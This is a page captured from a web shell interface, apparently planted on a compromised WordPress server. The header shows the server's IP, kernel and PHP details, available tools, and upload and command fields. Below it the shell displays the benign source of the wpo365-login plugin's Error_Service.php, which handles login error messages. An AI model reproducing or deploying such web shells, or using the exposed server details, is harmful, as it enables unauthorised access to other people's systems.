Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.87
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/wpo365-login/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/wpo365-login/Services/Error_Service.php
<?php

namespace Wpo\Services;

use \Wpo\Core\Extensions_Helpers;
use \Wpo\Core\WordPress_Helpers;
use \Wpo\Services\Id_Token_Service;
use \Wpo\Services\Options_Service;

// Prevent public access to this script
defined('ABSPATH') or die();

if (!class_exists('\Wpo\Services\Error_Service')) {

    class Error_Service
    {

        const AADAPPREG_ERROR   = 'AADAPPREG_ERROR';
        const BASIC_VERSION     = 'BASIC_VERSION';
        const CHECK_LOG         = 'CHECK_LOG';
        const DEACTIVATED       = 'DEACTIVATED';
        const DUAL_LOGIN        = 'DUAL_LOGIN';
        const DUAL_LOGIN_V2     = 'DUAL_LOGIN_V2';
        const ID_TOKEN_ERROR    = 'ID_TOKEN_ERROR';
        const ID_TOKEN_AUD      = 'ID_TOKEN_AUD';
        const LOGGED_OUT        = 'LOGGED_OUT';
        const PRIVATE_PAGE      = 'PRIVATE_PAGE';
        const NOT_CONFIGURED    = 'NOT_CONFIGURED';
        const NOT_FROM_DOMAIN   = 'NOT_FROM_DOMAIN';
        const NOT_IN_GROUP      = 'NOT_IN_GROUP';
        const SAML2_ERROR       = 'SAML2_ERROR';
        const TAMPERED_WITH     = 'TAMPERED_WITH';
        const USER_NOT_FOUND    = 'USER_NOT_FOUND';
        const NO_IDP_SELECTED   = 'NO_IDP_SELECTED';

        /**
         * Checks for errors in the login messages container and display and unset immediatly after if any
         *
         * @since   1.0
         * @return  void
         */
        public static function check_for_login_messages($message)
        {

            if (!isset($_GET['login_errors'])) {
                return $message;
            }

            // Using $_GET here since wp_query is not loaded on login page
            $login_error_codes = sanitize_text_field($_GET['login_errors']);

            $result = '';

            foreach (explode(',', $login_error_codes) as $login_error_code) {

                $error_message = self::get_error_message($login_error_code);

                if (empty($error_message)) {
                    continue;
                }

                $result .= '<p class="message">' . $error_message . '</p><br />';
            }

            // Return messages to display to hook
            return $result;
        }

        /**
         * Tries to get an error message for the error code provided either from
         * the options or else from the hard coded backup dictionary provided.
         * 
         * @since 0.1
         * 
         * @param string $error_code Error code
         * @return string Error message
         */
        public static function get_error_message($error_code)
        {

            $deprecated_error_messages = array(
                self::CHECK_LOG         => 'Please contact your System Administrator and check log file.',
                self::DEACTIVATED       => 'Account deactivated.',
                self::DUAL_LOGIN        => 'Alternatively, you can click the following link to sign into this website with your corporate <a href="__##OAUTH_URL##__">network login (Office 365)</a>',
                self::DUAL_LOGIN_V2     => 'Alternatively, you can click the following link to sign into this website with your corporate <span class="wpo365-dual-login-notice" style="cursor: pointer; text-decoration: underline; color: #000CD" onclick="window.wpo365.pintraRedirect.toMsOnline()">network login (Office 365)</span>',
                self::ID_TOKEN_ERROR    => 'Your ID token could not be processed. Please contact your System Administrator.',
                self::ID_TOKEN_AUD      => 'The ID token is intended for a different audience. Please contact your System Administrator.',
                self::LOGGED_OUT        => 'You are now logged out.',
                self::NOT_CONFIGURED    => 'Wordpress + Office 365 login not configured yet. Please contact your System Administrator.',
                self::NOT_FROM_DOMAIN   => 'Access Denied. Please contact your System Administrator.',
                self::NOT_IN_GROUP      => 'User not in group. Please contact your System Administrator.',
                self::SAML2_ERROR       => 'SAML authentication error',
                self::TAMPERED_WITH     => 'Your login might be tampered with. Please contact your System Administrator.',
                self::USER_NOT_FOUND    => 'Could not create or retrieve your login. Please contact your System Administrator.',
                self::NO_IDP_SELECTED   => 'Please select an Identity Provider from the list below to sign in to the website.',
            );

            $error_messages = array(
                self::AADAPPREG_ERROR   => __('Could not create or retrieve your login. Most likely the authentication response received from Microsoft does not contain an email address. Consult the <a target="_blank" href="https://www.wpo365.com/troubleshooting-the-wpo365-login-plugin/#PARSING_ERROR">online documentation</a> for details.', 'wpo365-login'),
                self::BASIC_VERSION     => __('The BASIC edition of the WordPress + Office 365 plugin does not automatically create new users. See the following <a href="https://www.wpo365.com/basic-edition/">online documentation</a> for more info.', 'wpo365-login'),
                self::CHECK_LOG         => __('Please contact your System Administrator and check log file.', 'wpo365-login'),
                self::DEACTIVATED       => __('Account deactivated.', 'wpo365-login'),
                self::DUAL_LOGIN        => __('Alternatively, you can click the following link to sign into this website with your corporate <a href="__##OAUTH_URL##__">network login (Office 365)</a>', 'wpo365-login'),
                self::DUAL_LOGIN_V2     => __('Alternatively, you can click the following link to sign into this website with your corporate <span class="wpo365-dual-login-notice" style="cursor: pointer; text-decoration: underline; color: #000CD" onclick="window.wpo365.pintraRedirect.toMsOnline()">network login (Office 365)</span>', 'wpo365-login'),
                self::ID_TOKEN_ERROR    => __('Your ID token could not be processed. Please contact your System Administrator.', 'wpo365-login'),
                self::ID_TOKEN_AUD      => __('The ID token is intended for a different audience. Please contact your System Administrator.', 'wpo365_login'),
                self::LOGGED_OUT        => __('You are now logged out.', 'wpo365-login'),
                self::PRIVATE_PAGE      => __('The page you requested requires you to sign in first.', 'wpo365-login'),
                self::NOT_CONFIGURED    => __('Wordpress + Office 365 login not configured yet. Please contact your System Administrator.', 'wpo365-login'),
                self::NOT_FROM_DOMAIN   => __('Access Denied. Please contact your System Administrator.', 'wpo365-login'),
                self::NOT_IN_GROUP      => __('Access Denied. Please contact your System Administrator.', 'wpo365-login'),
                self::SAML2_ERROR       => __('SAML authentication error.', 'wpo365-login'),
                self::TAMPERED_WITH     => __('Your login might be tampered with. Please contact your System Administrator.', 'wpo365-login'),
                self::USER_NOT_FOUND    => __('Could not create or retrieve your login. Please contact your System Administrator.', 'wpo365-login'),
                self::NO_IDP_SELECTED   => __('Please select an Identity Provider from the list below to sign in to the website.', 'wpo365-login'),
            );

            if (class_exists('\Wpo\Services\Options_Service')) {
                $error_message = Options_Service::get_global_string_var('wpo_error_' . strtolower($error_code));
            }

            // Backward compatible with the now deprecated possibility to update the error message through the configuration instead l18n
            if (empty($error_message) || empty($deprecated_error_messages[$error_code]) || $deprecated_error_messages[$error_code] == $error_message) {
                $error_message = !empty($error_messages[$error_code])
                    ? $error_messages[$error_code]
                    : '';
            }

            // Optionally replace template tokens when error is DUAL_LOGIN or DUAL_LOGINV2
            if (class_exists('\Wpo\Services\Options_Service') && WordPress_Helpers::stripos($error_code, 'DUAL_LOGIN') === 0) {

                if (Options_Service::get_global_boolean_var('hide_sso_link')) {
                    return '';
                }

                $site_url = $GLOBALS['WPO_CONFIG']['url_info']['wp_site_url'];

                if (false !== WordPress_Helpers::stripos($error_message, '__##OAUTH_URL##__')) {
                    $redirect_to = !empty($_GET['redirect_to'])
                        ? esc_url_raw(strtolower(trim($_GET['redirect_to'])))
                        : null;

                    if (Options_Service::get_global_boolean_var('use_b2c') &&  \class_exists('\Wpo\Services\Id_Token_Service_B2c')) {
                        $oauth_url = \Wpo\Services\Id_Token_Service_B2c::get_openidconnect_url(null, $redirect_to);
                    } else if (Options_Service::get_global_boolean_var('use_ciam')) {
                        $oauth_url = \Wpo\Services\Id_Token_Service_Ciam::get_openidconnect_url(null, $redirect_to);
                    } else {
                        $oauth_url = Id_Token_Service::get_openidconnect_url(null, $redirect_to);
                    }

                    $error_message = str_replace("__##OAUTH_URL##__", $oauth_url, $error_message);
                }
            }

            return $error_message;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit